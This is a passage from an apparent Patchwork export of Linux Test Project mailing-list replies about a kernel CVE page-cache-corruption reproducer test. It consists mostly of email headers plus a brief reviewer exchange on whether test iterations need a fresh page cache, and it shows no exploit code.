\n> ---\n> base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66\n> change-id: 20260430-cve-2026-31431-eda4297d56bc\n> \n> Best regards,","headers":{"Return-Path":"","X-Original-To":["incoming@patchwork.ozlabs.org","ltp@lists.linux.it"],"Delivered-To":["patchwork-incoming@legolas.ozlabs.org","ltp@picard.linux.it"],"Authentication-Results":["legolas.ozlabs.org;\n\tdkim=fail reason=\"signature verification failed\" (1024-bit key;\n unprotected) header.d=suse.cz header.i=@suse.cz header.a=rsa-sha256\n header.s=susede2_rsa header.b=Is+WHHCB;\n\tdkim=fail reason=\"signature verification failed\" header.d=suse.cz\n header.i=@suse.cz header.a=ed25519-sha256 header.s=susede2_ed25519\n header.b=8CAPzcm/;\n\tdkim=fail reason=\"signature verification failed\" (1024-bit key)\n header.d=suse.cz header.i=@suse.cz header.a=rsa-sha256 header.s=susede2_rsa\n header.b=Is+WHHCB;\n\tdkim=neutral header.d=suse.cz header.i=@suse.cz header.a=ed25519-sha256\n header.s=susede2_ed25519 header.b=8CAPzcm/;\n\tdkim-atps=neutral","legolas.ozlabs.org;\n spf=pass (sender SPF authorized) smtp.mailfrom=lists.linux.it\n (client-ip=213.254.12.146; helo=picard.linux.it;\n envelope-from=ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it;\n receiver=patchwork.ozlabs.org)","smtp-out1.suse.de;\n\tnone"],"Received":["from picard.linux.it (picard.linux.it [213.254.12.146])\n\t(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n\t key-exchange x25519)\n\t(No client certificate requested)\n\tby legolas.ozlabs.org (Postfix) with ESMTPS id 4g5tR45rCGz1xqf\n\tfor ; Thu, 30 Apr 2026 22:15:12 +1000 (AEST)","from picard.linux.it (localhost [IPv6:::1])\n\tby picard.linux.it (Postfix) with ESMTP id B971C3E65F4\n\tfor ; Thu, 30 Apr 2026 14:15:10 +0200 (CEST)","from in-3.smtp.seeweb.it (in-3.smtp.seeweb.it\n [IPv6:2001:4b78:1:20::3])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature ECDSA (secp384r1))\n (No client certificate requested)\n by picard.linux.it (Postfix) with ESMTPS id 449C23CBDB2\n for ; Thu, 30 Apr 2026 14:15:08 +0200 (CEST)","from smtp-out1.suse.de (smtp-out1.suse.de [195.135.223.130])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest\n SHA256)\n (No client certificate requested)\n by in-3.smtp.seeweb.it (Postfix) with ESMTPS id 872B91A00F11\n for ; Thu, 30 Apr 2026 14:15:07 +0200 (CEST)","from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest\n SHA256)\n (No client certificate requested)\n by smtp-out1.suse.de (Postfix) with ESMTPS id 0C2066A803;\n Thu, 30 Apr 2026 12:15:06 +0000 (UTC)","from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest\n SHA256)\n (No client certificate requested)\n by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 02E5C593B0;\n Thu, 30 Apr 2026 12:15:06 +0000 (UTC)","from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])\n by imap1.dmz-prg2.suse.org with ESMTPSA id C+9yAMpH82k4awAAD6G6ig\n (envelope-from ); Thu, 30 Apr 2026 12:15:06 +0000"],"DKIM-Signature":["v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_rsa;\n t=1777551306; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=QpYVFrTBZlwsf8Oml7gbvEMOnKl47l0PK+hRNBLhJOo=;\n b=Is+WHHCBU5xJcHdSSwlIqe/V1Hom9je9zhgjdkIJiUh9dyqCETgd8RaIZRji75KNH2xTGp\n YpajsRtVAZ+ziMwnMk6Ajypl3n6JAeAztHdHKGSdCrBsDqoxzpaZv4/vc6fNO6u6TQMyvC\n 7Dua5jh59w5VQUzrfI7nmfT6OY6F86w=","v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_ed25519; t=1777551306;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=QpYVFrTBZlwsf8Oml7gbvEMOnKl47l0PK+hRNBLhJOo=;\n b=8CAPzcm/avVHbMmNY9tdL2lxq2Wic5TjGrnxzbNobJaNt3fpn+KJQO/jY6HkqJO5QtvM4o\n IeOzKb/T+AFvmRAg==","v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_rsa;\n t=1777551306; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=QpYVFrTBZlwsf8Oml7gbvEMOnKl47l0PK+hRNBLhJOo=;\n b=Is+WHHCBU5xJcHdSSwlIqe/V1Hom9je9zhgjdkIJiUh9dyqCETgd8RaIZRji75KNH2xTGp\n YpajsRtVAZ+ziMwnMk6Ajypl3n6JAeAztHdHKGSdCrBsDqoxzpaZv4/vc6fNO6u6TQMyvC\n 7Dua5jh59w5VQUzrfI7nmfT6OY6F86w=","v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_ed25519; t=1777551306;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=QpYVFrTBZlwsf8Oml7gbvEMOnKl47l0PK+hRNBLhJOo=;\n b=8CAPzcm/avVHbMmNY9tdL2lxq2Wic5TjGrnxzbNobJaNt3fpn+KJQO/jY6HkqJO5QtvM4o\n IeOzKb/T+AFvmRAg=="],"Message-ID":"","Date":"Thu, 30 Apr 2026 14:15:01 +0200","MIME-Version":"1.0","User-Agent":"Mozilla Thunderbird","To":"Andrea Cervesato ,\n Linux Test Project ","References":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","Content-Language":"en-US","From":"Martin Doucha ","Autocrypt":"addr=mdoucha@suse.cz; keydata=\n xsFNBGaqVbgBEACpipjj9sTO/5/DFIIYr/HiC9GEAHpmU+jzRraYh7Lcx11XDVZ00nWN5AlO\n GL+UxpvYs9cInmLGVav2gK36FxAUsxl99OCQjM45OrQHVkyDPbeZzw7NSvEblv1gaydu/YKk\n ktwuO3yzjtb5X1hiDLYULorpCYGz8CXnkkoYm79fa0g+rTivJLMaMSnO2rDcp4EsSofBE/is\n UcG4e2BIUKQE2d+ogrbHYkmbt9jQZnyipCDm61yEiNZSKR9ktbQ8IvevCpoZJu+2EFRRhDsv\n 3lvNKmlJpa+MkZ/18u/OX5zZwyP5wS9SYGIAW9236R4qoFinYYlA1LeHjJtVLq2cVjIyo9Wm\n ZG5BPsKLC31H4dzGUcvBTU0D/V5dowb5Qnt0kPAb7cmKC3vNrVBgWjEwk8mwrzNj/6wUxugR\n OnFvuUljDT48su9MFsSCQtygR0qQNnuaSr1S+a0Mzd5NgOdQ3rgWV/T1YnlSjSQQAjykom2a\n nwVKhToJSFYBezItmE2raMUpToraDXa3we48HBibs7JH1PjUGMyX1ADwHg7oIQbRGLWtWWiS\n Dy9jL7rw46lEnRHm4KIvUC1jvBM1DPz5LHHRLsA0QmzmBbDMTGTKEuuUaIo9FclwNjhiSybb\n qWGF5JQZcihg/SSpTWcjucyeDyI/x6drNz/qpXSQz6Yk00MBDQARAQABzR9NYXJ0aW4gRG91\n Y2hhIDxtZG91Y2hhQHN1c2UuY3o+wsGaBBMBCABEAhsDBQkJZgGABQsJCAcCAiICBhUKCQgL\n AgQWAgMBAh4HAheAFiEEMmUpXLa1dxYwexErBwUVKaC6qJsFAmaqWFUCGQEACgkQBwUVKaC6\n qJv+WA//btgD9l5FyfsQW4qriE1nntpyuJ+rVSL/rICYOh5rK2zdpOikNdtqQ0XOQew4AuMB\n ZSONHn5GkmCTsIjLDIiGn1v88OHJ9P+FNtfdZmMyYUYRed3tgYqlIdTjAkUy/gzNuKQl26fU\n v4Yl50MIqhm/ILmlb2s+iA5W8IZSDwy4xZo886oRGYS8/ix23HuLXTMlHNZV1a1ty62tRLyq\n pIA4kX6ymLxlXoM6G3+Ie/DOSJuaa25dlSXNQhhcFYp0ytiLdr3vByKdUpPO+Cjct601+a3w\n HS/Xzt24hlMqhvtic8EPmNhNFDMosqJBTote/sTSsiUjgSAC8h2nm91+sPyr+U5c9Bdzcytl\n ZnCJOkm5iSSHQqpP/LxdRU1AiibK+BQUqAt7WjAWmneeFUskqC4Ss3GHr2yOoEro2Nbo8i1b\n RXG8F4H4GZB+osgGIDm3zejUdZ59701E4X3KEtmz8+m4hg37nudl2hIPjop/vS7wyah7J17i\n ujM/DQQflrorbv9xmcx0z/rgtwf73gYX48O3AQmh3HlpTQ2tnIojoteYujgwxMEToyBgRG7Y\n bDB40+umKnWLqN3QtKoPP9RUynWv7bTjXtwn0I7/ATw50yJqatP1dGXP/FY7zWEVyYNB5qUi\n ZpuUX95g3qtlSIqhBrR61phpu1bYaWB/IMKstSTwdCPOwU0EZqpVuAEQALHeH9zmpNzV8E3V\n SWffDMJRGeFjcJuha0wpHMUrXGmz7Mld6o8/ZXu8QXT5gM6r6UpXytN6dUfRdllgQoj2uSjg\n ZgoaDJ8HkLYjdrcipkX6IkAe8Q9i/sZvoekuwfqVgTMfwtGyl3vfgyQkX1NiNIU967MDewcT\n Krv+5qUFnnx67qLdcd2XfIo9dsxv9nqyp4AwHtZ6Sj40KCefuaVl7YpYM3H9AnfVusr56OQC\n 9VBPex98OzEGsROcijVvhdIChMkZazYdy643xhJ9i5fjdg7Lxwg7IbyjlpVn8gZ2CQ4BupjT\n wLgvEi2O1yZlNWNk3JJMgZ29O/qbZYmsSXkCmuUj1GcZm+mvVdc/GFlq4d9Eb9BItYCCiMlJ\n LFWhFghaaqv/tHgBPcx+vmxO6iZhl07mw+mv3VohlCyWrbM2mb9uwpOYmVZcNxsRHAXSUthx\n 9sG4Bv9Szg37D7C4pX5T5Q4OO29ss4VZflvgE3vRHQd373oxdhM5jcOCEbUKw7tTpiVRUhko\n lTvQScZMR1FletK5ieHnA06qrKCZpB+WP7xr3rYYYRVTW8qhdo7p+UnfVSzdErT6Sz35tlxg\n 0wQGWbTYsBw6mk0hjaqvUS7ffRFuoVVaVQJVXLscE/nv7b+3NtK0LCFDACsZX5A2Ee0AfpKw\n WM7PJAbuI4GHc1MhhLubABEBAAHCwXwEGAEIACYWIQQyZSlctrV3FjB7ESsHBRUpoLqomwUC\n ZqpVuAIbDAUJCWYBgAAKCRAHBRUpoLqom4RUD/4xLZz0ahnRPA7Y6IRX4/bB3fDMfMlxG0Dv\n Y6USpubfUqxG61Q6P/DfOLvp5iC5OYct7Id7arA/FsQs2g2L875pNefPLzuuG/XXujJ6Vokr\n WzMy/3gnBrvcUKTiVr+wLifenDDBImQzOTsjcTBpTzX8edGMrb2jnT1+M6VEWP8bMadbTMyE\n uVTsRqzKKRPPhp8dQX7DnPzfFixvBoSbodNaBL+R432Ljl9CvXkDDLymuLyzxPdhrQ3mf02T\n jq1nHXCXFm8zC3bRvCv7k8m/PLBY956/8OPRt3ePxSFgO/Pf3FKFTKIqHDiV3dAxAO7Ibuii\n Zr5AzfbRpdA7Gt8afL/yTujen+skhuVentxwhoLw/WqqgZefK9CUXTv5A9HzXuhsgTQPPzBn\n qsL+5eFNf1QBdRa6lInbwbH0vgHZEF04mK7Ac4dsXGU+cMsHEUaNhrEBoR0cu/NFfmlwpWqO\n sOf6M5s7RKNzreVXkrlArE+x29swkXZbxFoXuahA2iykPyyCAgPz0ikRI+374jXVAtbZAAut\n HD1KfuCahogFT4upYpOUl26KquywYOGciSan4jHuqXIVCQzjYd/zOzsL7hTJiteae/oOg4m5\n i8BUUzanmo3FPwFBcjEn4nDvkw/YEo5gtQZmrxOHQAdSHdyqtFgRxu4+w3JFmnQvkResUgm3 ag==","In-Reply-To":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","X-Spam-Score":"-8.30","X-Spam-Level":"","X-Spamd-Result":"default: False [-8.30 / 50.00]; REPLY(-4.00)[];\n BAYES_HAM(-3.00)[100.00%]; NEURAL_HAM_LONG(-1.00)[-1.000];\n NEURAL_HAM_SHORT(-0.20)[-1.000]; MIME_GOOD(-0.10)[text/plain];\n TO_DN_ALL(0.00)[]; ARC_NA(0.00)[];\n DKIM_SIGNED(0.00)[suse.cz:s=susede2_rsa,suse.cz:s=susede2_ed25519];\n FUZZY_RATELIMITED(0.00)[rspamd.com];\n TO_MATCH_ENVRCPT_ALL(0.00)[]; RCPT_COUNT_TWO(0.00)[2];\n FROM_HAS_DN(0.00)[]; RCVD_TLS_ALL(0.00)[];\n FROM_EQ_ENVFROM(0.00)[]; MIME_TRACE(0.00)[0:+];\n RCVD_COUNT_TWO(0.00)[2]; RCVD_VIA_SMTP_AUTH(0.00)[];\n MID_RHS_MATCH_FROM(0.00)[];\n DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo, suse.com:email,\n suse.cz:mid, suse.cz:email]","X-Spam-Status":"No, score=0.1 required=7.0 tests=DKIM_SIGNED,DKIM_VALID,\n DKIM_VALID_AU,DKIM_VALID_EF,SPF_HELO_NONE,SPF_PASS shortcircuit=no\n autolearn=disabled version=4.0.1","X-Spam-Checker-Version":"SpamAssassin 4.0.1 (2024-03-25) on in-3.smtp.seeweb.it","X-Virus-Scanned":"clamav-milter 1.0.9 at in-3.smtp.seeweb.it","X-Virus-Status":"Clean","Subject":"Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption\n reproducer","X-BeenThere":"ltp@lists.linux.it","X-Mailman-Version":"2.1.29","Precedence":"list","List-Id":"Linux Test Project ","List-Unsubscribe":",\n ","List-Archive":"","List-Post":"","List-Help":"","List-Subscribe":",\n ","Content-Transfer-Encoding":"7bit","Content-Type":"text/plain; charset=\"us-ascii\"; Format=\"flowed\"","Errors-To":"ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it","Sender":"\"ltp\" "}},{"id":3684657,"web_url":"http://patchwork.ozlabs.org/comment/3684657/","msgid":"<7f805cf2-9c97-4720-bf8f-e317895af3c2@suse.cz>","list_archive_url":null,"date":"2026-04-30T12:19:34","subject":"Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption\n reproducer","submitter":{"id":77472,"url":"http://patchwork.ozlabs.org/api/people/77472/","name":"Martin Doucha","email":"mdoucha@suse.cz"},"content":"On 4/30/26 14:12, Avinesh Kumar via ltp wrote:\n> when running more than 1 iteration (i.e. -i2) on a vulnerable kernel, the\n> first iteration is overwriting the page cache with PWND, and subsequent\n> iterations are starting with  a corrupted file already, we need to move\n> the setup part also to run() and we can drop setup().\n\nHi,\ndoes it really matter that we don't clear cache between test iterations? \nIf the page cache has been poisoned once, the bug is there.","headers":{"Return-Path":"","X-Original-To":["incoming@patchwork.ozlabs.org","ltp@lists.linux.it"],"Delivered-To":["patchwork-incoming@legolas.ozlabs.org","ltp@picard.linux.it"],"Authentication-Results":["legolas.ozlabs.org;\n\tdkim=fail reason=\"signature verification failed\" (1024-bit key;\n unprotected) header.d=suse.cz header.i=@suse.cz header.a=rsa-sha256\n header.s=susede2_rsa header.b=IYpv1Xxm;\n\tdkim=fail reason=\"signature verification failed\" header.d=suse.cz\n header.i=@suse.cz header.a=ed25519-sha256 header.s=susede2_ed25519\n header.b=+AI32OTb;\n\tdkim=fail reason=\"signature verification failed\" (1024-bit key)\n header.d=suse.cz header.i=@suse.cz header.a=rsa-sha256 header.s=susede2_rsa\n header.b=IYpv1Xxm;\n\tdkim=neutral header.d=suse.cz header.i=@suse.cz header.a=ed25519-sha256\n header.s=susede2_ed25519 header.b=+AI32OTb;\n\tdkim-atps=neutral","legolas.ozlabs.org;\n spf=pass (sender SPF authorized) smtp.mailfrom=lists.linux.it\n (client-ip=2001:1418:10:5::2; helo=picard.linux.it;\n envelope-from=ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it;\n receiver=patchwork.ozlabs.org)","smtp-out1.suse.de;\n\tnone"],"Received":["from picard.linux.it (picard.linux.it [IPv6:2001:1418:10:5::2])\n\t(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n\t key-exchange x25519 server-signature ECDSA (secp384r1) server-digest SHA384)\n\t(No client certificate requested)\n\tby legolas.ozlabs.org (Postfix) with ESMTPS id 4g5tXM5BDgz1yGq\n\tfor ; Thu, 30 Apr 2026 22:19:45 +1000 (AEST)","from picard.linux.it (localhost [IPv6:::1])\n\tby picard.linux.it (Postfix) with ESMTP id BB9553E65B1\n\tfor ; Thu, 30 Apr 2026 14:19:42 +0200 (CEST)","from in-3.smtp.seeweb.it (in-3.smtp.seeweb.it\n [IPv6:2001:4b78:1:20::3])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature ECDSA (secp384r1) server-digest SHA384)\n (No client certificate requested)\n by picard.linux.it (Postfix) with ESMTPS id 7BD093E1630\n for ; Thu, 30 Apr 2026 14:19:39 +0200 (CEST)","from smtp-out1.suse.de (smtp-out1.suse.de [195.135.223.130])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest\n SHA256)\n (No client certificate requested)\n by in-3.smtp.seeweb.it (Postfix) with ESMTPS id 23FDB1A00F72\n for ; Thu, 30 Apr 2026 14:19:38 +0200 (CEST)","from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest\n SHA256)\n (No client certificate requested)\n by smtp-out1.suse.de (Postfix) with ESMTPS id 6CBA36A803;\n Thu, 30 Apr 2026 12:19:38 +0000 (UTC)","from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest\n SHA256)\n (No client certificate requested)\n by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 5F80D593B0;\n Thu, 30 Apr 2026 12:19:38 +0000 (UTC)","from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])\n by imap1.dmz-prg2.suse.org with ESMTPSA id 6yz/FtpI82mubwAAD6G6ig\n (envelope-from ); Thu, 30 Apr 2026 12:19:38 +0000"],"DKIM-Signature":["v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_rsa;\n t=1777551578;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=jY7nQq7w56uFuqT4QZaQvIH57ODnGvyVNVVvCxh8v4Y=;\n b=IYpv1XxmFkFrU9wFpLeZxCu1NEFpNapkXF9+M+D/37ulBmINe2n6CQZOZlUIJzKqlVkhZe\n sPqTKgjsZciPLjBB9hEIsprD7s56sN4kMqFk5cweNqbVbULbimhnMZIeQ5nE9YGqXYKdAo\n /hx2QaROx9SafTmM71W0MVIuJff8s9U=","v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_ed25519; t=1777551578;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=jY7nQq7w56uFuqT4QZaQvIH57ODnGvyVNVVvCxh8v4Y=;\n b=+AI32OTbIMf0su8t3KVQ1fiWGZQ0r2lF8fKQ1sMEqnMrHyAHDRggv8rYKHRkJvvNFEaQ/7\n 6Ki2OW+MgMEatNDg==","v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_rsa;\n t=1777551578;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=jY7nQq7w56uFuqT4QZaQvIH57ODnGvyVNVVvCxh8v4Y=;\n b=IYpv1XxmFkFrU9wFpLeZxCu1NEFpNapkXF9+M+D/37ulBmINe2n6CQZOZlUIJzKqlVkhZe\n sPqTKgjsZciPLjBB9hEIsprD7s56sN4kMqFk5cweNqbVbULbimhnMZIeQ5nE9YGqXYKdAo\n /hx2QaROx9SafTmM71W0MVIuJff8s9U=","v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.cz;\n s=susede2_ed25519; t=1777551578;\n h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:\n mime-version:mime-version:content-type:content-type:\n content-transfer-encoding:content-transfer-encoding:\n in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;\n bh=jY7nQq7w56uFuqT4QZaQvIH57ODnGvyVNVVvCxh8v4Y=;\n b=+AI32OTbIMf0su8t3KVQ1fiWGZQ0r2lF8fKQ1sMEqnMrHyAHDRggv8rYKHRkJvvNFEaQ/7\n 6Ki2OW+MgMEatNDg=="],"Message-ID":"<7f805cf2-9c97-4720-bf8f-e317895af3c2@suse.cz>","Date":"Thu, 30 Apr 2026 14:19:34 +0200","MIME-Version":"1.0","User-Agent":"Mozilla Thunderbird","To":"Avinesh Kumar ,\n Andrea Cervesato ","References":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>\n <25466194-da79-4ddf-96be-f0429afd61c1@suse.com>","Content-Language":"en-US","From":"Martin Doucha ","Autocrypt":"addr=mdoucha@suse.cz; keydata=\n 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 ag==","In-Reply-To":"<25466194-da79-4ddf-96be-f0429afd61c1@suse.com>","X-Spam-Score":"-8.29","X-Spam-Level":"","X-Spamd-Result":"default: False [-8.29 / 50.00]; REPLY(-4.00)[];\n BAYES_HAM(-3.00)[100.00%]; NEURAL_HAM_LONG(-1.00)[-1.000];\n NEURAL_HAM_SHORT(-0.19)[-0.971]; MIME_GOOD(-0.10)[text/plain];\n TO_MATCH_ENVRCPT_ALL(0.00)[]; TO_DN_ALL(0.00)[];\n DKIM_SIGNED(0.00)[suse.cz:s=susede2_rsa,suse.cz:s=susede2_ed25519];\n ARC_NA(0.00)[]; FUZZY_RATELIMITED(0.00)[rspamd.com];\n FROM_HAS_DN(0.00)[]; RCVD_TLS_ALL(0.00)[];\n RCPT_COUNT_THREE(0.00)[3]; FROM_EQ_ENVFROM(0.00)[];\n MIME_TRACE(0.00)[0:+]; RCVD_COUNT_TWO(0.00)[2];\n RCVD_VIA_SMTP_AUTH(0.00)[]; MID_RHS_MATCH_FROM(0.00)[];\n DBL_BLOCKED_OPENRESOLVER(0.00)[suse.cz:mid, suse.cz:email,\n imap1.dmz-prg2.suse.org:helo]","X-Spam-Status":"No, score=0.1 required=7.0 tests=DKIM_SIGNED,DKIM_VALID,\n 